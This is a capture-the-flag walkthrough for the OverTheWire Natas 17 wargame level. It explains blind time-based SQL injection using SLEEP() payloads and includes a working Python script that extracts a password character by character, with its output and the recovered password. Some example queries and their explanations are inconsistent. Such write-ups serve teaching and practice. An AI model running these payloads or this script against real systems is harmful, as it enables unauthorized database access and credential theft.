Continuing with last few challenges’ theme, this one is another SQL injection puzzle. Piece of code that matters is the following:
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
You’ll notice a couple of thing:
- A table users is created, with 2 fields
username
andpassword
. - No output is shown for any input you pass.
What options do we have here? We won’t be able to show error messages, use union based SQL injection since no output exists. How about SLEEP()? We can force the SQL statement executed to reveal data by answering yes/no questions.
Let’s check first if we’re able to use the sleep command and some examples to show how we can utilize it. You can use Fiddler as proxy for Windows or Burpsuite for Linux (or whatever tool that does the job) to observe duration.
- Input:
natas18" and sleep(5) #
Query:SELECT * from users where username="_natas18" and sleep(5) #
Output: **Overall Elapsed: 0:00:05.384
**Meaning: User named natas18 exists and sleep(5) was executed. - Input:
idontexist" and sleep(5) #
Query:SELECT * from users where username="_idontexist" and sleep(5) #_
Output: Overall Elapsed: 0:00:00.372
Meaning: User named idontexist doesn’t exists and sleep(5) was not executed. -
Input: natas18” and password like binary ‘%a%’ and sleep(5) #
**Query:**
SELECT * from users where username=”_natas18” and password like binary ‘%a%’ and sleep(5) #`
Output: Overall Elapsed: 0:00:00.359
Meaning: password for natas18 does not contain the letter ‘a’ and sleep(5) was not executed. - Input:
natas18" and password like binary '%d%' and sleep(5) #
Query:SELECT * from users where username="_natas18" and password like binary '%a%' and sleep(5) #
Output: **Overall Elapsed: 0:00:00.359
**Meaning: password for natas18 does contain the letter ‘a’ and sleep(5) was executed.
Noticed what happened? By asking the right question, you can tell it’s a yes/no depending on the request duration!
We’ll be using a simple python script to automate the process for us, first by finding the set of characters that exist in password for user natas18 then reconstructing the password.
import requests
from requests.auth import HTTPBasicAuth
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'content-type': 'application/x-www-form-urlencoded'}
filteredchars = ''
passwd = ''
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in allchars:
payload = 'username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 1):
filteredchars = filteredchars + char
print(filteredchars)
print(filteredchars)
for i in range(0,32):
for char in filteredchars:
payload = 'username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(passwd + char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 1):
passwd = passwd + char
print(passwd)
break
Output:
d
dg
dgh
dghj
dghjl
dghjlm
dghjlmp
dghjlmpq
dghjlmpqs
dghjlmpqsv
dghjlmpqsvw
dghjlmpqsvwx
dghjlmpqsvwxy
dghjlmpqsvwxyC
dghjlmpqsvwxyCD
dghjlmpqsvwxyCDF
dghjlmpqsvwxyCDFI
dghjlmpqsvwxyCDFIK
dghjlmpqsvwxyCDFIKO
dghjlmpqsvwxyCDFIKOP
dghjlmpqsvwxyCDFIKOPR
dghjlmpqsvwxyCDFIKOPR4
dghjlmpqsvwxyCDFIKOPR47
dghjlmpqsvwxyCDFIKOPR470
dghjlmpqsvwxyCDFIKOPR470
x
xv
xvK
xvKI
xvKIq
xvKIqD
xvKIqDj
xvKIqDjy
xvKIqDjy4
xvKIqDjy4O
xvKIqDjy4OP
xvKIqDjy4OPv
xvKIqDjy4OPv7
xvKIqDjy4OPv7w
xvKIqDjy4OPv7wC
xvKIqDjy4OPv7wCR
xvKIqDjy4OPv7wCRg
xvKIqDjy4OPv7wCRgD
xvKIqDjy4OPv7wCRgDl
xvKIqDjy4OPv7wCRgDlm
xvKIqDjy4OPv7wCRgDlmj
xvKIqDjy4OPv7wCRgDlmj0
xvKIqDjy4OPv7wCRgDlmj0p
xvKIqDjy4OPv7wCRgDlmj0pF
xvKIqDjy4OPv7wCRgDlmj0pFs
xvKIqDjy4OPv7wCRgDlmj0pFsC
xvKIqDjy4OPv7wCRgDlmj0pFsCs
xvKIqDjy4OPv7wCRgDlmj0pFsCsD
xvKIqDjy4OPv7wCRgDlmj0pFsCsDj
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjh
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Natas 18 password is xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
.